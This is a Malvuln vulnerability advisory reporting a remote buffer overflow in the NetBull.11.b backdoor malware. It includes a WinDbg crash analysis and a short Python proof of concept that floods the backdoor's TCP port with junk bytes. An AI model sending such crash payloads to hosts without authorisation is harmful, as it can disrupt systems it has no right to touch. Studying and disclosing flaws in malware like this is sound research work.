Backdoor.Win32.NetBull.11.b malware suffers from a remote buffer overflow vulnerability.
5d83f56bb4aab89af9950a4cd903fc28
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0e0fc966862971c29edd4dcaa0ba8e86.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.NetBull.11.b
Vulnerability: Remote Buffer Overflow
Description: NetBull.11.b listens on both TCP ports 23456 and 23457, sending a large junk packet results in buffer overflow overwriting stack registers.
Type: PE32
MD5: 0e0fc966862971c29edd4dcaa0ba8e86
Vuln ID: MVID-2021-0066
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/02/2021
Memory Dump:
The stored exception information can be accessed via .ecxr.
(60.13dc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=2e7a4010 edx=41414140 esi=00000003 edi=00000003
eip=773ced3c esp=0019ef84 ebp=0019f114 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
mfc42!CString::CString+5
6fb385d5 8901 mov dword ptr [ecx],eax
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 6fb385d5 (mfc42!CString::CString+0x00000005)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 2e7a4010
Attempt to write to address 2e7a4010
PROCESS_NAME: Backdoor.Win32.NetBull.11.b.0e0fc966862971c29edd4dcaa0ba8e86.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 2e7a4010
WRITE_ADDRESS: 2e7a4010
FOLLOWUP_IP:
mfc42!CString::CString+5
6fb385d5 8901 mov dword ptr [ecx],eax
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 000013dc
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff
DEFAULT_BUCKET_ID: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff
LAST_CONTROL_TRANSFER: from 00405095 to 6fb385d5
STACK_TEXT:
0019f8c0 00405095 2e7a4000 2e7a4000 0019f8ec mfc42!CString::CString+0x5
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f8d8 0040503b 041e50ec 41414141 0019f9bc Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x5095
0019f8f4 00404548 2e7a4000 2e7a4000 00000001 Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x503b
00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x4548
STACK_COMMAND: ~0s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: mfc42!CString::CString+5
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: mfc42
IMAGE_NAME: mfc42.dll
DEBUG_FLR_IMAGE_TIMESTAMP: d94bc78
FAILURE_BUCKET_ID: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mfc42.dll!CString::CString
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mfc42!CString::CString+5
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=23456
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PACKOLA = "A"*666
s.send(PACKOLA)
s.close()
print("Backdoor.Win32.NetBull.11.b / Remote Buffer Overflow");
print("MD5: 0e0fc966862971c29edd4dcaa0ba8e86");
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).